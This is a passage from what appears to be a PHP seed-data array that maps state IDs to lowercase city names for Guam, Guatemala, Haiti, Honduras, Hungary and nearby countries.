'name' => 'dededo'],\n ['state_id' => '1511', 'name' => 'finegayan station'],\n ['state_id' => '1512', 'name' => 'agana'],\n ['state_id' => '1512', 'name' => 'agana station'],\n ['state_id' => '1513', 'name' => 'inarajan'],\n ['state_id' => '1514', 'name' => 'mangilao'],\n ['state_id' => '1515', 'name' => 'merizo'],\n ['state_id' => '1516', 'name' => 'mongmong'],\n ['state_id' => '1516', 'name' => 'toto'],\n ['state_id' => '1518', 'name' => 'sinajana'],\n ['state_id' => '1519', 'name' => 'talofofo'],\n ['state_id' => '1520', 'name' => 'tamuning'],\n ['state_id' => '1521', 'name' => 'anderson air force base'],\n ['state_id' => '1521', 'name' => 'yigo'],\n ['state_id' => '1522', 'name' => 'yona'],\n ['state_id' => '1525', 'name' => 'chimaltenango'],\n ['state_id' => '1525', 'name' => 'comalapa'],\n ['state_id' => '1525', 'name' => 'itzapa'],\n ['state_id' => '1525', 'name' => 'patzun'],\n ['state_id' => '1526', 'name' => 'chiquimula'],\n ['state_id' => '1526', 'name' => 'esquipulas'],\n ['state_id' => '1528', 'name' => 'cotzumalguapa'],\n ['state_id' => '1528', 'name' => 'escuintla'],\n ['state_id' => '1528', 'name' => 'palin'],\n ['state_id' => '1528', 'name' => 'san jose'],\n ['state_id' => '1528', 'name' => 'tiquisate'],\n ['state_id' => '1529', 'name' => 'amatitlan'],\n ['state_id' => '1529', 'name' => 'chinautla'],\n ['state_id' => '1529', 'name' => 'guatemala'],\n ['state_id' => '1529', 'name' => 'mixco'],\n ['state_id' => '1529', 'name' => 'petapa'],\n ['state_id' => '1529', 'name' => 'villa nueva'],\n ['state_id' => '1530', 'name' => 'huehuetenango'],\n ['state_id' => '1531', 'name' => 'puerto barrios'],\n ['state_id' => '1532', 'name' => 'jalapa'],\n ['state_id' => '1533', 'name' => 'asuncion mita'],\n ['state_id' => '1533', 'name' => 'jutiapa'],\n ['state_id' => '1534', 'name' => 'flores'],\n ['state_id' => '1534', 'name' => 'san benito'],\n ['state_id' => '1535', 'name' => 'quezaltenango'],\n ['state_id' => '1536', 'name' => 'quiche'],\n ['state_id' => '1537', 'name' => 'retalhuleu'],\n ['state_id' => '1538', 'name' => 'antigua'],\n ['state_id' => '1538', 'name' => 'ciudad vieja'],\n ['state_id' => '1538', 'name' => 'jocotenango'],\n ['state_id' => '1538', 'name' => 'santa maria de jesus'],\n ['state_id' => '1538', 'name' => 'sumpango'],\n ['state_id' => '1541', 'name' => 'atitlan'],\n ['state_id' => '1541', 'name' => 'solola'],\n ['state_id' => '1542', 'name' => 'mazatenango'],\n ['state_id' => '1543', 'name' => 'totonicapan'],\n ['state_id' => '1544', 'name' => 'zacapa'],\n ['state_id' => '1545', 'name' => 'saint anne\\'s'],\n ['state_id' => '1546', 'name' => 'castle'],\n ['state_id' => '1547', 'name' => 'forest'],\n ['state_id' => '1554', 'name' => 'sark'],\n ['state_id' => '1555', 'name' => 'torteval'],\n ['state_id' => '1556', 'name' => 'vale'],\n ['state_id' => '1557', 'name' => 'beyla'],\n ['state_id' => '1558', 'name' => 'boffa'],\n ['state_id' => '1559', 'name' => 'boke'],\n ['state_id' => '1560', 'name' => 'conakry'],\n ['state_id' => '1561', 'name' => 'coyah'],\n ['state_id' => '1562', 'name' => 'dabola'],\n ['state_id' => '1563', 'name' => 'dalaba'],\n ['state_id' => '1564', 'name' => 'dinguiraye'],\n ['state_id' => '1565', 'name' => 'faranah'],\n ['state_id' => '1566', 'name' => 'forecariah'],\n ['state_id' => '1567', 'name' => 'fria'],\n ['state_id' => '1568', 'name' => 'gaoual'],\n ['state_id' => '1569', 'name' => 'guekedou'],\n ['state_id' => '1570', 'name' => 'kankan'],\n ['state_id' => '1571', 'name' => 'kerouane'],\n ['state_id' => '1572', 'name' => 'kindia'],\n ['state_id' => '1573', 'name' => 'kissidougou'],\n ['state_id' => '1574', 'name' => 'koubia'],\n ['state_id' => '1575', 'name' => 'koundara'],\n ['state_id' => '1576', 'name' => 'kouroussa'],\n ['state_id' => '1577', 'name' => 'labe'],\n ['state_id' => '1578', 'name' => 'lola'],\n ['state_id' => '1579', 'name' => 'macenta'],\n ['state_id' => '1580', 'name' => 'mali'],\n ['state_id' => '1581', 'name' => 'mamou'],\n ['state_id' => '1582', 'name' => 'mandiana'],\n ['state_id' => '1583', 'name' => 'nzerekore'],\n ['state_id' => '1584', 'name' => 'pita'],\n ['state_id' => '1585', 'name' => 'siguiri'],\n ['state_id' => '1586', 'name' => 'telimele'],\n ['state_id' => '1587', 'name' => 'tougue'],\n ['state_id' => '1588', 'name' => 'yomou'],\n ['state_id' => '1589', 'name' => 'bafata'],\n ['state_id' => '1590', 'name' => 'bissau'],\n ['state_id' => '1591', 'name' => 'bolama'],\n ['state_id' => '1591', 'name' => 'bubaque'],\n ['state_id' => '1592', 'name' => 'cacheu'],\n ['state_id' => '1592', 'name' => 'canchungo'],\n ['state_id' => '1593', 'name' => 'gabu'],\n ['state_id' => '1594', 'name' => 'bissora'],\n ['state_id' => '1594', 'name' => 'farim'],\n ['state_id' => '1594', 'name' => 'mansoa'],\n ['state_id' => '1595', 'name' => 'buba'],\n ['state_id' => '1595', 'name' => 'fulacunda'],\n ['state_id' => '1595', 'name' => 'quebo'],\n ['state_id' => '1596', 'name' => 'catio'],\n ['state_id' => '1597', 'name' => 'mabaruma'],\n ['state_id' => '1597', 'name' => 'morawhanna'],\n ['state_id' => '1598', 'name' => 'bartica'],\n ['state_id' => '1598', 'name' => 'issano'],\n ['state_id' => '1598', 'name' => 'kamarang'],\n ['state_id' => '1599', 'name' => 'georgetown'],\n ['state_id' => '1599', 'name' => 'mahaica'],\n ['state_id' => '1599', 'name' => 'paradise'],\n ['state_id' => '1599', 'name' => 'queenstown'],\n ['state_id' => '1602', 'name' => 'fort wellington'],\n ['state_id' => '1602', 'name' => 'mahaicony'],\n ['state_id' => '1602', 'name' => 'rosignol'],\n ['state_id' => '1603', 'name' => 'anna regina'],\n ['state_id' => '1603', 'name' => 'charity'],\n ['state_id' => '1603', 'name' => 'suddie'],\n ['state_id' => '1604', 'name' => 'mahdia'],\n ['state_id' => '1604', 'name' => 'tumatumari'],\n ['state_id' => '1607', 'name' => 'desdunes'],\n ['state_id' => '1607', 'name' => 'dessalines'],\n ['state_id' => '1607', 'name' => 'gonaives'],\n ['state_id' => '1607', 'name' => 'gros-morne'],\n ['state_id' => '1607', 'name' => 'l\\'artibonite'],\n ['state_id' => '1607', 'name' => 'saint-marc'],\n ['state_id' => '1607', 'name' => 'saint-michel-de-l\\'atalaye'],\n ['state_id' => '1607', 'name' => 'saint-raphael'],\n ['state_id' => '1607', 'name' => 'verrettes'],\n ['state_id' => '1608', 'name' => 'hinche'],\n ['state_id' => '1608', 'name' => 'mirebalais'],\n ['state_id' => '1609', 'name' => 'anse-d\\'hainault'],\n ['state_id' => '1609', 'name' => 'dame marie'],\n ['state_id' => '1609', 'name' => 'jeremie'],\n ['state_id' => '1609', 'name' => 'miragoane'],\n ['state_id' => '1610', 'name' => 'cap-haitien'],\n ['state_id' => '1610', 'name' => 'croix-des-bouquets'],\n ['state_id' => '1610', 'name' => 'grande riviere du nord'],\n ['state_id' => '1610', 'name' => 'limbe'],\n ['state_id' => '1610', 'name' => 'pignon'],\n ['state_id' => '1611', 'name' => 'derac'],\n ['state_id' => '1611', 'name' => 'fort-liberte'],\n ['state_id' => '1611', 'name' => 'ouanaminthe'],\n ['state_id' => '1611', 'name' => 'trou-du-nord'],\n ['state_id' => '1612', 'name' => 'port-de-paix'],\n ['state_id' => '1612', 'name' => 'saint-louis-du-nord'],\n ['state_id' => '1613', 'name' => 'anse-a-galets'],\n ['state_id' => '1613', 'name' => 'carrefour'],\n ['state_id' => '1613', 'name' => 'delmas'],\n ['state_id' => '1613', 'name' => 'kenscoff'],\n ['state_id' => '1613', 'name' => 'lascahobas'],\n ['state_id' => '1613', 'name' => 'leogane'],\n ['state_id' => '1613', 'name' => 'petionville'],\n ['state_id' => '1613', 'name' => 'petit goave'],\n ['state_id' => '1613', 'name' => 'port-au-prince'],\n ['state_id' => '1614', 'name' => 'aquin'],\n ['state_id' => '1614', 'name' => 'les cayes'],\n ['state_id' => '1615', 'name' => 'jacmel'],\n ['state_id' => '1617', 'name' => 'la ceiba'],\n ['state_id' => '1617', 'name' => 'olanchito'],\n ['state_id' => '1617', 'name' => 'tela'],\n ['state_id' => '1618', 'name' => 'choluteca'],\n ['state_id' => '1618', 'name' => 'el triunfo'],\n ['state_id' => '1618', 'name' => 'pespire'],\n ['state_id' => '1619', 'name' => 'sonaguera'],\n ['state_id' => '1619', 'name' => 'tocoa'],\n ['state_id' => '1619', 'name' => 'trujillo'],\n ['state_id' => '1620', 'name' => 'comayagua'],\n ['state_id' => '1620', 'name' => 'siguatepeque'],\n ['state_id' => '1621', 'name' => 'copan'],\n ['state_id' => '1621', 'name' => 'corquin'],\n ['state_id' => '1621', 'name' => 'dulce nombre'],\n ['state_id' => '1621', 'name' => 'el paraiso'],\n ['state_id' => '1621', 'name' => 'san antonio'],\n ['state_id' => '1621', 'name' => 'san nicolas'],\n ['state_id' => '1621', 'name' => 'santa rosa de copan'],\n ['state_id' => '1622', 'name' => 'choloma'],\n ['state_id' => '1622', 'name' => 'la lima'],\n ['state_id' => '1622', 'name' => 'omoa'],\n ['state_id' => '1622', 'name' => 'puerto cortes'],\n ['state_id' => '1622', 'name' => 'san pedro sula'],\n ['state_id' => '1627', 'name' => 'intibuca'],\n ['state_id' => '1627', 'name' => 'la esperanza'],\n ['state_id' => '1627', 'name' => 'utila'],\n ['state_id' => '1630', 'name' => 'gracias'],\n ['state_id' => '1631', 'name' => 'ocotepeque'],\n ['state_id' => '1631', 'name' => 'san marcos'],\n ['state_id' => '1631', 'name' => 'sinuapa'],\n ['state_id' => '1632', 'name' => 'catacamas'],\n ['state_id' => '1632', 'name' => 'juticalpa'],\n ['state_id' => '1634', 'name' => 'amapala'],\n ['state_id' => '1634', 'name' => 'langue'],\n ['state_id' => '1634', 'name' => 'nacaome'],\n ['state_id' => '1634', 'name' => 'san lorenzo'],\n ['state_id' => '1635', 'name' => 'el progreso'],\n ['state_id' => '1635', 'name' => 'morazan'],\n ['state_id' => '1635', 'name' => 'santa rita'],\n ['state_id' => '1635', 'name' => 'yoro'],\n ['state_id' => '1637', 'name' => 'akaszto'],\n ['state_id' => '1637', 'name' => 'bacsalmas'],\n ['state_id' => '1637', 'name' => 'bacsbokod'],\n ['state_id' => '1637', 'name' => 'baja'],\n ['state_id' => '1637', 'name' => 'bugac'],\n ['state_id' => '1637', 'name' => 'davod'],\n ['state_id' => '1637', 'name' => 'dunapataj'],\n ['state_id' => '1637', 'name' => 'dunavecse'],\n ['state_id' => '1637', 'name' => 'fulopszallas'],\n ['state_id' => '1637', 'name' => 'hajos'],\n ['state_id' => '1637', 'name' => 'harta'],\n ['state_id' => '1637', 'name' => 'izsak'],\n ['state_id' => '1637', 'name' => 'jakabszallas'],\n ['state_id' => '1637', 'name' => 'janoshalma'],\n ['state_id' => '1637', 'name' => 'kalocsa'],\n ['state_id' => '1637', 'name' => 'kecel'],\n ['state_id' => '1637', 'name' => 'kecskemet'],\n ['state_id' => '1637', 'name' => 'kiskoros'],\n ['state_id' => '1637', 'name' => 'kiskunfelegyhaza'],\n ['state_id' => '1637', 'name' => 'kiskunhalas'],\n ['state_id' => '1637', 'name' => 'kiskunmajsa'],\n ['state_id' => '1637', 'name' => 'kunfeherto'],\n ['state_id' => '1637', 'name' => 'kunszentmiklos'],\n ['state_id' => '1637', 'name' => 'lajosmizse'],\n ['state_id' => '1637', 'name' => 'lakitelek'],\n ['state_id' => '1637', 'name' => 'madaras'],\n ['state_id' => '1637', 'name' => 'melykut'],\n ['state_id' => '1637', 'name' => 'nagybaracska'],\n ['state_id' => '1637', 'name' => 'orgovany'],\n ['state_id' => '1637', 'name' => 'palmonostora'],\n ['state_id' => '1637', 'name' => 'solt'],\n ['state_id' => '1637', 'name' => 'soltvadkert'],\n ['state_id' => '1637', 'name' => 'sukosd'],\n ['state_id' => '1637', 'name' => 'szabadszallas'],\n ['state_id' => '1637', 'name' => 'szalkszentmarton'],\n ['state_id' => '1637', 'name' => 'tass'],\n ['state_id' => '1637', 'name' => 'tiszakecske'],\n ['state_id' => '1637', 'name' => 'tompa'],\n ['state_id' => '1638', 'name' => 'beremend'],\n ['state_id' => '1638', 'name' => 'boly'],\n ['state_id' => '1638', 'name' => 'dunaszekcso'],\n ['state_id' => '1638', 'name' => 'harkany'],\n ['state_id' => '1638', 'name' => 'hosszuheteny'],\n ['state_id' => '1638', 'name' => 'komlo'],\n ['state_id' => '1638', 'name' => 'magocs'],\n ['state_id' => '1638', 'name' => 'mohacs'],\n ['state_id' => '1638', 'name' => 'pecs'],\n ['state_id' => '1638', 'name' => 'pecsvarad'],\n ['state_id' => '1638', 'name' => 'sasd'],\n ['state_id' => '1638', 'name' => 'sellye'],\n ['state_id' => '1638', 'name' => 'siklos'],\n ['state_id' => '1638', 'name' => 'szentlorinc'],\n ['state_id' => '1638', 'name' => 'szigetvar'],\n ['state_id' => '1638', 'name' => 'vajszlo'],\n ['state_id' => '1638', 'name' => 'villany'],\n ['state_id' => '1639', 'name' => 'battonya'],\n ['state_id' => '1639', 'name' => 'bekes'],\n ['state_id' => '1639', 'name' => 'bekescsaba'],\n ['state_id' => '1639', 'name' => 'bekessamson'],\n ['state_id' => '1639', 'name' => 'bekesszentandras'],\n ['state_id' => '1639', 'name' => 'csorvas'],\n ['state_id' => '1639', 'name' => 'devavanya'],\n ['state_id' => '1639', 'name' => 'doboz'],\n ['state_id' => '1639', 'name' => 'elek'],\n ['state_id' => '1639', 'name' => 'endrod'],\n ['state_id' => '1639', 'name' => 'fuzesgyarmat'],\n ['state_id' => '1639', 'name' => 'gyula'],\n ['state_id' => '1639', 'name' => 'ketegyhaza'],\n ['state_id' => '1639', 'name' => 'kondoros'],\n ['state_id' => '1639', 'name' => 'korosladany'],\n ['state_id' => '1639', 'name' => 'kunagota'],\n ['state_id' => '1639', 'name' => 'lokoshaza'],\n ['state_id' => '1639', 'name' => 'mezobereny'],\n ['state_id' => '1639', 'name' => 'mezohegyes'],\n ['state_id' => '1639', 'name' => 'mezokovacshaza'],\n ['state_id' => '1639', 'name' => 'nagyszenas'],\n ['state_id' => '1639', 'name' => 'oroshaza'],\n ['state_id' => '1639', 'name' => 'sarkad'],\n ['state_id' => '1639', 'name' => 'szabadkigyos'],\n ['state_id' => '1639', 'name' => 'szarvas'],\n ['state_id' => '1639', 'name' => 'szeghalom'],\n ['state_id' => '1639', 'name' => 'totkomlos'],\n ['state_id' => '1639', 'name' => 'veszto'],\n ['state_id' => '1640', 'name' => 'abaujszanto'],\n ['state_id' => '1640', 'name' => 'arlo'],\n ['state_id' => '1640', 'name' => 'bogacs'],\n ['state_id' => '1640', 'name' => 'cigand'],\n ['state_id' => '1640', 'name' => 'edeleny'],\n ['state_id' => '1640', 'name' => 'emod'],\n ['state_id' => '1640', 'name' => 'encs'],\n ['state_id' => '1640', 'name' => 'gonc'],\n ['state_id' => '1640', 'name' => 'karcsa'],\n ['state_id' => '1640', 'name' => 'kazincbarcika'],\n ['state_id' => '1640', 'name' => 'mad'],\n ['state_id' => '1640', 'name' => 'megyaszo'],\n ['state_id' => '1640', 'name' => 'mezokeresztes'],\n ['state_id' => '1640', 'name' => 'mezokovesd'],\n ['state_id' => '1640', 'name' => 'miskolc'],\n ['state_id' => '1640', 'name' => 'monok'],\n ['state_id' => '1640', 'name' => 'nyekladhaza'],\n ['state_id' => '1640', 'name' => 'olaszliszka'],\n ['state_id' => '1640', 'name' => 'onod'],\n ['state_id' => '1640', 'name' => 'ozd'],\n ['state_id' => '1640', 'name' => 'putnok'],\n ['state_id' => '1640', 'name' => 'rudabanya'],\n ['state_id' => '1640', 'name' => 'sajokaza'],\n ['state_id' => '1640', 'name' => 'sajolad'],\n ['state_id' => '1640', 'name' => 'sajoszentpeter'],\n ['state_id' => '1640', 'name' => 'saly'],\n ['state_id' => '1640', 'name' => 'sarospatak'],\n ['state_id' => '1640', 'name' => 'satoraljaujhely'],\n ['state_id' => '1640', 'name' => 'szendro'],\n ['state_id' => '1640', 'name' => 'szentistvan'],\n ['state_id' => '1640', 'name' => 'szerencs'],\n ['state_id' => '1640', 'name' => 'szihalom'],\n ['state_id' => '1640', 'name' => 'szikszo'],\n ['state_id' => '1640', 'name' => 'taktaharkany'],\n ['state_id' => '1640', 'name' => 'taktaszada'],\n ['state_id' => '1640', 'name' => 'tallya'],\n ['state_id' => '1640', 'name' => 'tarcal'],\n ['state_id' => '1640', 'name' => 'tiszaluc'],\n ['state_id' => '1640', 'name' => 'tiszaujvaros'],\n ['state_id' => '1640', 'name' => 'tokaj'],\n ['state_id' => '1640', 'name' => 'tolcsva'],\n ['state_id' => '1641', 'name' => 'budapest'],\n ['state_id' => '1642', 'name' => 'csongrad'],\n ['state_id' => '1642', 'name' => 'fabiansebestyen'],\n ['state_id' => '1642', 'name' => 'foldeak'],\n ['state_id' => '1642', 'name' => 'hodmezovasarhely'],\n ['state_id' => '1642', 'name' => 'kiskundorozsma'],\n ['state_id' => '1642', 'name' => 'kistelek'],\n ['state_id' => '1642', 'name' => 'kiszombor'],\n ['state_id' => '1642', 'name' => 'mako'],\n ['state_id' => '1642', 'name' => 'mindszent'],\n ['state_id' => '1642', 'name' => 'morahalom'],\n ['state_id' => '1642', 'name' => 'pusztaszer'],\n ['state_id' => '1642', 'name' => 'roszke'],\n ['state_id' => '1642', 'name' => 'sandorfalva'],\n ['state_id' => '1642', 'name' => 'szatymaz'],\n ['state_id' => '1642', 'name' => 'szeged'],\n ['state_id' => '1642', 'name' => 'szegvar'],\n ['state_id' => '1642', 'name' => 'szekkutas'],\n ['state_id' => '1642', 'name' => 'szentes'],\n ['state_id' => '1643', 'name' => 'aba'],\n ['state_id' => '1643', 'name' => 'adony'],\n ['state_id' => '1643', 'name' => 'alap'],\n ['state_id' => '1643', 'name' => 'apostag'],\n ['state_id' => '1643', 'name' => 'bakonycsernye'],\n ['state_id' => '1643', 'name' => 'bicske'],\n ['state_id' => '1643', 'name' => 'bodajk'],\n ['state_id' => '1643', 'name' => 'cece'],\n ['state_id' => '1643', 'name' => 'csakvar'],\n ['state_id' => '1643', 'name' => 'deg'],\n ['state_id' => '1643', 'name' => 'dios'],\n ['state_id' => '1643', 'name' => 'dunaujvaros'],\n ['state_id' => '1643', 'name' => 'enying'],\n ['state_id' => '1643', 'name' => 'ercsi'],\n ['state_id' => '1643', 'name' => 'etyek'],\n ['state_id' => '1643', 'name' => 'fehervarcsurgo'],\n ['state_id' => '1643', 'name' => 'lovasbereny'],\n ['state_id' => '1643', 'name' => 'martonvasar'],\n ['state_id' => '1643', 'name' => 'mezofalva'],\n ['state_id' => '1643', 'name' => 'mezoszilas'],\n ['state_id' => '1643', 'name' => 'mor'],\n ['state_id' => '1643', 'name' => 'pazmand'],\n ['state_id' => '1643', 'name' => 'polgardi'],\n ['state_id' => '1643', 'name' => 'pusztavam'],\n ['state_id' => '1643', 'name' => 'rackeresztur'],\n ['state_id' => '1643', 'name' => 'sarbogard'],\n ['state_id' => '1643', 'name' => 'seregelyes'],\n ['state_id' => '1643', 'name' => 'soponya'],\n ['state_id' => '1643', 'name' => 'szabadbattyan'],\n ['state_id' => '1643', 'name' => 'szekesfehervar'],\n ['state_id' => '1643', 'name' => 'val'],\n ['state_id' => '1644', 'name' => 'asvanyraro'],\n ['state_id' => '1644', 'name' => 'beled'],\n ['state_id' => '1644', 'name' => 'bosarkany'],\n ['state_id' => '1644', 'name' => 'csorna'],\n ['state_id' => '1644', 'name' => 'fertod'],\n ['state_id' => '1644', 'name' => 'fertorakos'],\n ['state_id' => '1644', 'name' => 'fertoszentmiklos'],\n ['state_id' => '1644', 'name' => 'gyor'],\n ['state_id' => '1644', 'name' => 'gyorujbarat'],\n ['state_id' => '1644', 'name' => 'hunyadi u.'],\n ['state_id' => '1644', 'name' => 'kapuvar'],\n ['state_id' => '1644', 'name' => 'lebeny'],\n ['state_id' => '1644', 'name' => 'mihalyi'],\n ['state_id' => '1644', 'name' => 'mosonmagyarovar'],\n ['state_id' => '1644', 'name' => 'nyul'],\n ['state_id' => '1644', 'name' => 'pannonhalma'],\n ['state_id' => '1644', 'name' => 'rajka'],\n ['state_id' => '1644', 'name' => 'sopron'],\n ['state_id' => '1644', 'name' => 'szany'],\n ['state_id' => '1644', 'name' => 'tet'],\n ['state_id' => '1645', 'name' => 'balmazujvaros'],\n ['state_id' => '1645', 'name' => 'barand'],\n ['state_id' => '1645', 'name' => 'berettyoujfalu'],\n ['state_id' => '1645', 'name' => 'biharkeresztes'],\n ['state_id' => '1645', 'name' => 'biharnagybajom'],\n ['state_id' => '1645', 'name' => 'debrecen'],\n ['state_id' => '1645', 'name' => 'derecske'],\n ['state_id' => '1645', 'name' => 'egyek'],\n ['state_id' => '1645', 'name' => 'foldes'],\n ['state_id' => '1645', 'name' => 'hajduboszormeny'],\n ['state_id' => '1645', 'name' => 'hajdudorog'],\n ['state_id' => '1645', 'name' => 'hajduhadhaz'],\n ['state_id' => '1645', 'name' => 'hajdusamson'],\n ['state_id' => '1645', 'name' => 'hajduszoboszlo'],\n ['state_id' => '1645', 'name' => 'hajduszovat'],\n ['state_id' => '1645', 'name' => 'hortobagy'],\n ['state_id' => '1645', 'name' => 'hosszupalyi'],\n ['state_id' => '1645', 'name' => 'kaba'],\n ['state_id' => '1645', 'name' => 'komadi'],\n ['state_id' => '1645', 'name' => 'mikepercs'],\n ['state_id' => '1645', 'name' => 'monostorpalyi'],\n ['state_id' => '1645', 'name' => 'nadudvar'],\n ['state_id' => '1645', 'name' => 'nagyleta'],\n ['state_id' => '1645', 'name' => 'nyirabrany'],\n ['state_id' => '1645', 'name' => 'nyiracsad'],\n ['state_id' => '1645', 'name' => 'nyiradony'],\n ['state_id' => '1645', 'name' => 'polgar'],\n ['state_id' => '1645', 'name' => 'puspokladany'],\n ['state_id' => '1645', 'name' => 'sarretudvari'],\n ['state_id' => '1645', 'name' => 'tiszacsege'],\n ['state_id' => '1645', 'name' => 'ujfeherto'],\n ['state_id' => '1645', 'name' => 'vamospercs'],\n ['state_id' => '1646', 'name' => 'abasar'],\n ['state_id' => '1646', 'name' => 'andornaktalya'],\n ['state_id' => '1646', 'name' => 'belapatfalva'],\n ['state_id' => '1646', 'name' => 'domoszlo'],\n ['state_id' => '1646', 'name' => 'eger'],\n ['state_id' => '1646', 'name' => 'erdotelek'],\n ['state_id' => '1646', 'name' => 'felsotarkany'],\n ['state_id' => '1646', 'name' => 'fuzesabony'],\n ['state_id' => '1646', 'name' => 'gyongyos'],\n ['state_id' => '1646', 'name' => 'gyongyospata'],\n ['state_id' => '1646', 'name' => 'gyongyossolymos'],\n ['state_id' => '1646', 'name' => 'gyongyostarjan'],\n ['state_id' => '1646', 'name' => 'hatvan'],\n ['state_id' => '1646', 'name' => 'heves'],\n ['state_id' => '1646', 'name' => 'kal'],\n ['state_id' => '1646', 'name' => 'lorinci'],\n ['state_id' => '1646', 'name' => 'matraderecske'],\n ['state_id' => '1646', 'name' => 'parad'],\n ['state_id' => '1646', 'name' => 'petervasara'],\n ['state_id' => '1646', 'name' => 'recsk'],\n ['state_id' => '1646', 'name' => 'sirok'],\n ['state_id' => '1646', 'name' => 'tarnalelesz'],\n ['state_id' => '1646', 'name' => 'verpelet'],\n ['state_id' => '1647', 'name' => 'abadszalok'],\n ['state_id' => '1647', 'name' => 'besenyszog'],\n ['state_id' => '1647', 'name' => 'cserkeszolo'],\n ['state_id' => '1647', 'name' => 'fegyvernek'],\n ['state_id' => '1647', 'name' => 'hegyeshalom'],\n ['state_id' => '1647', 'name' => 'jaszalsoszentgyorgy'],\n ['state_id' => '1647', 'name' => 'jaszapati'],\n ['state_id' => '1647', 'name' => 'jaszarokszallas'],\n ['state_id' => '1647', 'name' => 'jaszbereny'],\n ['state_id' => '1647', 'name' => 'jaszfenyzaru'],\n ['state_id' => '1647', 'name' => 'jaszjakohalma'],\n ['state_id' => '1647', 'name' => 'jaszkiser'],\n ['state_id' => '1647', 'name' => 'jaszladany'],\n ['state_id' => '1647', 'name' => 'jaszszentandras'],\n ['state_id' => '1647', 'name' => 'karcag'],\n ['state_id' => '1647', 'name' => 'kenderes'],\n ['state_id' => '1647', 'name' => 'kisujszallas'],\n ['state_id' => '1647', 'name' => 'kunhegyes'],\n ['state_id' => '1647', 'name' => 'kunmadaras'],\n ['state_id' => '1647', 'name' => 'kunszentmarton'],\n ['state_id' => '1647', 'name' => 'martfu'],\n ['state_id' => '1647', 'name' => 'mezotur'],\n ['state_id' => '1647', 'name' => 'ocsod'],\n ['state_id' => '1647', 'name' => 'szolnok'],\n ['state_id' => '1647', 'name' => 'tiszabura'],\n ['state_id' => '1647', 'name' => 'tiszafoldvar'],\n ['state_id' => '1647', 'name' => 'tiszafured'],\n ['state_id' => '1647', 'name' => 'tiszapuspoki'],\n ['state_id' => '1647', 'name' => 'tiszaroff'],\n ['state_id' => '1647', 'name' => 'tiszasuly'],\n ['state_id' => '1647', 'name' => 'torokszentmiklos'],\n ['state_id' => '1647', 'name' => 'toszeg'],\n ['state_id' => '1647', 'name' => 'turkeve'],\n ['state_id' => '1647', 'name' => 'ujszasz'],\n ['state_id' => '1648', 'name' => 'acs'],\n ['state_id' => '1648', 'name' => 'almasfuzito'],\n ['state_id' => '1648', 'name' => 'babolna'],\n ['state_id' => '1648', 'name' => 'bajna'],\n ['state_id' => '1648', 'name' => 'dorog'],\n ['state_id' => '1648', 'name' => 'esztergom'],\n ['state_id' => '1648', 'name' => 'kesztolc'],\n ['state_id' => '1648', 'name' => 'kisber'],\n ['state_id' => '1648', 'name' => 'komarom'],\n ['state_id' => '1648', 'name' => 'kornye'],\n ['state_id' => '1648', 'name' => 'labatlan'],\n ['state_id' => '1648', 'name' => 'mocsa'],\n ['state_id' => '1648', 'name' => 'nagyigmand'],\n ['state_id' => '1648', 'name' => 'nyergesujfalu'],\n ['state_id' => '1648', 'name' => 'oroszlany'],\n ['state_id' => '1648', 'name' => 'sarisap'],\n ['state_id' => '1648', 'name' => 'tardos'],\n ['state_id' => '1648', 'name' => 'tarjan'],\n ['state_id' => '1648', 'name' => 'tata'],\n ['state_id' => '1648', 'name' => 'tatabanya'],\n ['state_id' => '1648', 'name' => 'tokod'],\n ['state_id' => '1648', 'name' => 'vertesszolos'],\n ['state_id' => '1649', 'name' => 'balassagyarmat'],\n ['state_id' => '1649', 'name' => 'batonyterenye'],\n ['state_id' => '1649', 'name' => 'bercel'],\n ['state_id' => '1649', 'name' => 'bujak'],\n ['state_id' => '1649', 'name' => 'diosjeno'],\n ['state_id' => '1649', 'name' => 'karancskeszi'],\n ['state_id' => '1649', 'name' => 'matraverebely'],\n ['state_id' => '1649', 'name' => 'nagyoroszi'],\n ['state_id' => '1649', 'name' => 'paszto'],\n ['state_id' => '1649', 'name' => 'retsag'],\n ['state_id' => '1649', 'name' => 'romhany'],\n ['state_id' => '1649', 'name' => 'salgotarjan'],\n ['state_id' => '1649', 'name' => 'szecseny'],\n ['state_id' => '1649', 'name' => 'tar'],\n ['state_id' => '1650', 'name' => 'abony'],\n ['state_id' => '1650', 'name' => 'albertirsa'],\n ['state_id' => '1650', 'name' => 'aszod'],\n ['state_id' => '1650', 'name' => 'biatorbagy'],\n ['state_id' => '1650', 'name' => 'budakalasz'],\n ['state_id' => '1650', 'name' => 'budakeszi'],\n ['state_id' => '1650', 'name' => 'budaors'],\n ['state_id' => '1650', 'name' => 'bugyi'],\n ['state_id' => '1650', 'name' => 'cegled'],\n ['state_id' => '1650', 'name' => 'csobanka'],\n ['state_id' => '1650', 'name' => 'dabas'],\n ['state_id' => '1650', 'name' => 'domsod'],\n ['state_id' => '1650', 'name' => 'dunabogdany'],\n ['state_id' => '1650', 'name' => 'dunaharaszti'],\n ['state_id' => '1650', 'name' => 'dunakeszi'],\n ['state_id' => '1650', 'name' => 'erd'],\n ['state_id' => '1650', 'name' => 'forro'],\n ['state_id' => '1650', 'name' => 'fot'],\n ['state_id' => '1650', 'name' => 'galgaheviz'],\n ['state_id' => '1650', 'name' => 'god'],\n ['state_id' => '1650', 'name' => 'godollo'],\n ['state_id' => '1650', 'name' => 'gyomro'],\n ['state_id' => '1650', 'name' => 'hevizgyork'],\n ['state_id' => '1650', 'name' => 'isaszeg'],\n ['state_id' => '1650', 'name' => 'jaszkarajeno'],\n ['state_id' => '1650', 'name' => 'kiskunlachaza'],\n ['state_id' => '1650', 'name' => 'kocser'],\n ['state_id' => '1650', 'name' => 'koka'],\n ['state_id' => '1650', 'name' => 'kosd'],\n ['state_id' => '1650', 'name' => 'maglod'],\n ['state_id' => '1650', 'name' => 'monor'],\n ['state_id' => '1650', 'name' => 'nagykata'],\n ['state_id' => '1650', 'name' => 'nagykoros'],\n ['state_id' => '1650', 'name' => 'nagykovacsi'],\n ['state_id' => '1650', 'name' => 'nagymaros'],\n ['state_id' => '1650', 'name' => 'nagytarcsa'],\n ['state_id' => '1650', 'name' => 'nyaregyhaza'],\n ['state_id' => '1650', 'name' => 'ocsa'],\n ['state_id' => '1650', 'name' => 'orbottyan'],\n ['state_id' => '1650', 'name' => 'orkeny'],\n ['state_id' => '1650', 'name' => 'paty'],\n ['state_id' => '1650', 'name' => 'pecel'],\n ['state_id' => '1650', 'name' => 'perbal'],\n ['state_id' => '1650', 'name' => 'pilis'],\n ['state_id' => '1650', 'name' => 'pilisborosjeno'],\n ['state_id' => '1650', 'name' => 'piliscsaba'],\n ['state_id' => '1650', 'name' => 'pilisszanto'],\n ['state_id' => '1650', 'name' => 'pilisszentivan'],\n 